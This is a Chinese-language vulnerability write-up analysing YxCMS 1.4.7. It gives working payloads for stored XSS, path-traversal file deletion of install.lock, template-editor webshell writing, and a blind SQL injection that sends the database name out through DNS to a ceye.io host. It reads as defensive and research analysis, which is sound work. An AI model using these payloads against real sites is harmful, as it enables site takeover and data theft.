YxCMS 1.4.7 最新版漏洞分析
0x01前言
很感謝關注我專輯的表哥,我會堅持寫下去的,最近會慢一點,一月四篇是正常的。
在先知看到的,大部分都是後臺漏洞,部分廠商對於後臺的漏洞都不認可,因為廠商覺得能進入後臺這些漏洞都不是漏洞。最恐怖的是廠商否認了漏洞存在,然後偷偷的去修復。
0x02 安裝程式
具體的安裝和使用的詳細可以上官網檢視https://www.kancloud.cn/yongheng/yxcms
0x03 前臺XSS
1.漏洞復現
- 開啟連結http://sb.com/index.php?r=default/column/index&col=guestbook
輸入payload:<svg/onload=alert(1)>
- 然後登陸後臺,檢視稽核
點選編輯
2.漏洞分析
-
前臺的檔案原始碼
protected/apps/default/controller/columnController.php
public function index() { $ename=in($_GET['col']); if(empty($ename)) throw new Exception('欄目名不能為空~', 404); $sortinfo=model('sort')->find("ename='{$ename}'",'id,name,ename,path,url,type,deep,method,tplist,keywords,description,extendid'); $path=$sortinfo['path'].','.$sortinfo['id']; $deep=$sortinfo['deep']+1; $this->col=$ename; switch ($sortinfo['type']) { case 1://文章 $this->newslist($sortinfo,$path,$deep); break; case 2://圖集 $this->photolist($sortinfo,$path,$deep); break; case 3://單頁 $this->page($sortinfo,$path,$deep); break; case 4://應用 break; case 5://自定義 break; case 6://表單 $this->extend($sortinfo,$path,$deep); break; default: throw new Exception('未知的欄目型別~', 404); break; } }
- 後臺的檔案原始碼
protected/apps/admin/controller/extendfieldController.php
public function mesedit() { $tableid=intval($_GET['tabid']); if(!$this->checkConPower('extend',$tableid)) $this->error('您沒有許可權管理此獨立表內容~'); $id=intval($_GET['id']);//資訊id if(empty($tableid) || empty($id) ) $this->error('引數錯誤~'); $tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC'); if(empty($tableinfo)) $this->error('自定義表不存在~'); if (!$this->isPost()) { $info=model('extend')->Extfind($tableinfo[0]['tableinfo'],"id='{$id}'"); $this->info=$info; $this->tableid=$tableid; $this->id=$id; $this->tableinfo=$tableinfo; $this->display(); }else{ for($i=1;$i<count($tableinfo);$i++){ if(is_array($_POST[$tableinfo[$i]['tableinfo']])) $data[$tableinfo[$i]['tableinfo']]=implode(',',$_POST[$tableinfo[$i]['tableinfo']]); else $data[$tableinfo[$i]['tableinfo']]=html_in($_POST[$tableinfo[$i]['tableinfo']]); } if(model('extend')->Extup($tableinfo[0]['tableinfo'],"id='{$id}'",$data)) $this->success('修改成功~',url('extendfield/meslist',array('id'=>$tableid))); else $this->error('資訊修改失敗~'); } }
中間沒什麼過濾,具體可以看鬆哥的一篇文章: ofollow,noindex" target="_blank">https://www.hackersb.cn/hacker/85.html
0x04 任意檔案刪除
1.漏洞復現
- 需要先登入後臺,然後訪問之後會顯示縮圖不存在:
Payload: http://sb.com/index.php?r=admin/photo/delpic
POST:picname=../../protected/apps/install/install.lock
- 然後訪問網站首頁就會自動轉到安裝的頁面http://sb.com/index.php
- 看到目錄下的install.lock檔案已經被刪除了
2.漏洞分析
- 漏洞檔案:
protected/apps/admin/controller/photoController.php
,在第355行的delpic()函式,可以看到$picname
接收POST過來的值,然後$path
等於檔案開頭定義的靜態變數
static protected $uploadpath='';//圖片上傳路徑
沒有對傳入的值進行任何的過濾,使用函式file_exists()
判斷一下檔案是否存在就給unlink
執行刪除檔案了。public function delpic() { if(empty($_POST['picname'])) $this->error('引數錯誤~'); $picname=$_POST['picname']; $path=$this->uploadpath; if(file_exists($path.$picname)) @unlink($path.$picname); else{echo '圖片不存在~';return;} if(file_exists($path.'thumb_'.$picname)) @unlink($path.'thumb_'.$picname); else {echo '縮圖不存在~';return;} echo '原圖以及縮圖刪除成功~'; }
0x05 任意檔案寫入
1.漏洞復現
- 開啟地址http://sb.com/index.php?r=admin/set/tpadd&Mname=default
- 開啟我們的檔案監控軟體
FolderChangesView
,輸入我們的程式路徑D:\phpStudy\PHPTutorial\WWW\YXcms
- 然後寫shell.php檔名,寫入我們的程式碼。
- 然後會在
\protected\apps\default\view\default
下面生成我們寫入的檔案。
2.漏洞分析
- 漏洞檔案
protected/apps/admin/controller/setController.php
的140行,$tpfile
接收到GET傳過來的值,如果為空的話就會報非法操作。傳過來的URL是admin/set/tpadd&Mname=default
,所以$tpfile
就是default
。 - 再來下是檢測是否有POST的值,接受到POST過來的
filename
,用trim
去掉兩邊的空格。接收到POST過來的code
,用stripcslashes
反轉義。 -
$filepath=$templepath.$filename.'.php'
這一句是路徑和檔案的拼接,然後下面檢測路徑是否存在。 -
最後沒有過濾任何的危險函式就傳給
file_put_contents
函式,寫入網站的目錄。public function tpadd() { $tpfile=$_GET['Mname']; if(empty($tpfile)) $this->error('非法操作~'); $templepath=BASE_PATH . $this->tpath.$tpfile.'/'; if($this->isPost()){ $filename=trim($_POST['filename']); $code=stripcslashes($_POST['code']); if(empty($filename)||empty($code)) $this->error('檔名和內容不能為空'); $filepath=$templepath.$filename.'.php'; if($this->ifillegal($filepath)) {$this->error('非法的檔案路徑~');exit;} try{ file_put_contents($filepath, $code); } catch(Exception $e) { $this->error('模板檔案建立失敗!'); } $this->success('模板檔案建立成功!',url('set/tplist',array('Mname'=>$tpfile))); }else{ $this->tpfile=$tpfile; $this->display(); } }
0x06 SQL%E6%B3%A8%E5%85%A5/">SQL注入
1.漏洞復現
這個盲注可以用ceye.io和python指令碼跑,我之前的文章也有寫到。
http://sb.com/index.php?r=admin/fragment/index
payload:
1 and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,1))--
- 點選刪除
然後用burp截獲資料,修改內容加上我們的payload,用原文的payload後面
+
會報錯
然後進入http://ceye.io/records/dns 檢視我們的資料
2.漏洞分析
- 檢視漏洞檔案
protected/apps/admin/controller/fragmentController.php
的第63行public function del() { if(!$this->isPost()){ $id=intval($_GET['id']); if(empty($id)) $this->error('您沒有選擇~'); if(model('fragment')->delete("id='$id'")) echo 1; else echo '刪除失敗~'; }else{ if(empty($_POST['delid'])) $this->error('您沒有選擇~'); $delid=implode(',',$_POST['delid']); if(model('fragment')->delete('id in ('.$delid.')')) $this->success('刪除成功',url('fragment/index')); } }
- 我們跟
if(model('fragment')->delete("id='$id'"))
,它會先到protected/core.php
檔案裡面的model
function model($model){ static $objArray = array(); $className = $model . 'Model'; if( !is_object($objArray[$className]) ){ if( !class_exists($className) ) { throw new Exception(config('_APP_NAME'). '/' . $className . '.php 模型類不存在'); } $objArray[$className] = new $className(); } return $objArray[$className]; }
- 然後到
protected/apps/admin/model/fragmentModel.php
<?php class fragmentModel extends baseModel{ protected $table = 'fragment'; }
- 繼續
protected/base/model/baseModel.php
<?php class baseModel extends model{ protected $prefix=''; public function __construct( $database= 'DB',$force = false ){ parent::__construct(); $this->prefix=config('DB_PREFIX'); } }
- 再來到最底層的資料庫操作類
protected/base/model/model.php
的第45行public function delete($condition){ return $this->model->table($this->table, $this->ignoreTablePrefix)->where($condition)->delete(); }
這個
delete()
是從哪裡來的,我們來看第十三行的程式碼,建立了一個物件cpModel
static public function connect($config, $force=false){ static $model = NULL; if( $force==true || empty($model) ){ $model = new cpModel($config); } return $model; }
-
漏洞檔案在
protected/include/core/cpModel.class.php
,public function delete() { $table = $this->options['table'];//當前表 $where = $this->_parseCondition();//條件 if ( empty($where) ) return false; //刪除條件為空時,則返回false,避免資料不小心被全部刪除 $this->sql = "DELETE FROM $table $where"; $query = $this->db->execute($this->sql); return $this->db->affectedRows(); }
這裡用到了一個方法
_parseCondition()
private function _parseCondition() { $condition = $this->db->parseCondition($this->options); $this->options['where'] = ''; $this->options['group'] = ''; $this->options['having'] = ''; $this->options['order'] = ''; $this->options['limit'] = ''; $this->options['field'] = '*'; return $condition; } }
這個函式是在
protected/include/core/db/cpMysql.class.php
的128行public function parseCondition($options) { $condition = ""; if(!empty($options['where'])) { $condition = " WHERE "; if(is_string($options['where'])) { $condition .= $options['where']; } else if(is_array($options['where'])) { foreach($options['where'] as $key => $value) { $condition .= " `$key` = " . $this->escape($value) . " AND "; } $condition = substr($condition, 0,-4); } else { $condition = ""; } } if( !empty($options['group']) && is_string($options['group']) ) { $condition .= " GROUP BY " . $options['group']; } if( !empty($options['having']) && is_string($options['having']) ) { $condition .= " HAVING " .$options['having']; } if( !empty($options['order']) && is_string($options['order']) ) { $condition .= " ORDER BY " .$options['order']; } if( !empty($options['limit']) && (is_string($options['limit']) || is_numeric($options['limit'])) ) { $condition .= " LIMIT " .$options['limit']; } if( empty($condition) ) return ""; return $condition; }
裡面有一個行數來過濾
escape
,我們找到74行的這個函式定義public function escape($value) { if( isset($this->_readLink) ) { $link = $this->_readLink; } elseif( isset($this->_writeLink) ) { $link = $this->_writeLink; } else { $link = $this->_getReadLink(); } if( is_array($value) ) { return array_map(array($this, 'escape'), $value); } else { if( get_magic_quotes_gpc() ) { $value = stripslashes($value); } return"'" . mysql_real_escape_string($value, $link) . "'"; } }
不過這個函式有一句
is_array
如果是陣列才會執行下面的過濾,如果不是的話就正常執行下去,沒有任何sql的過濾就造成了注入漏洞。0x07 參考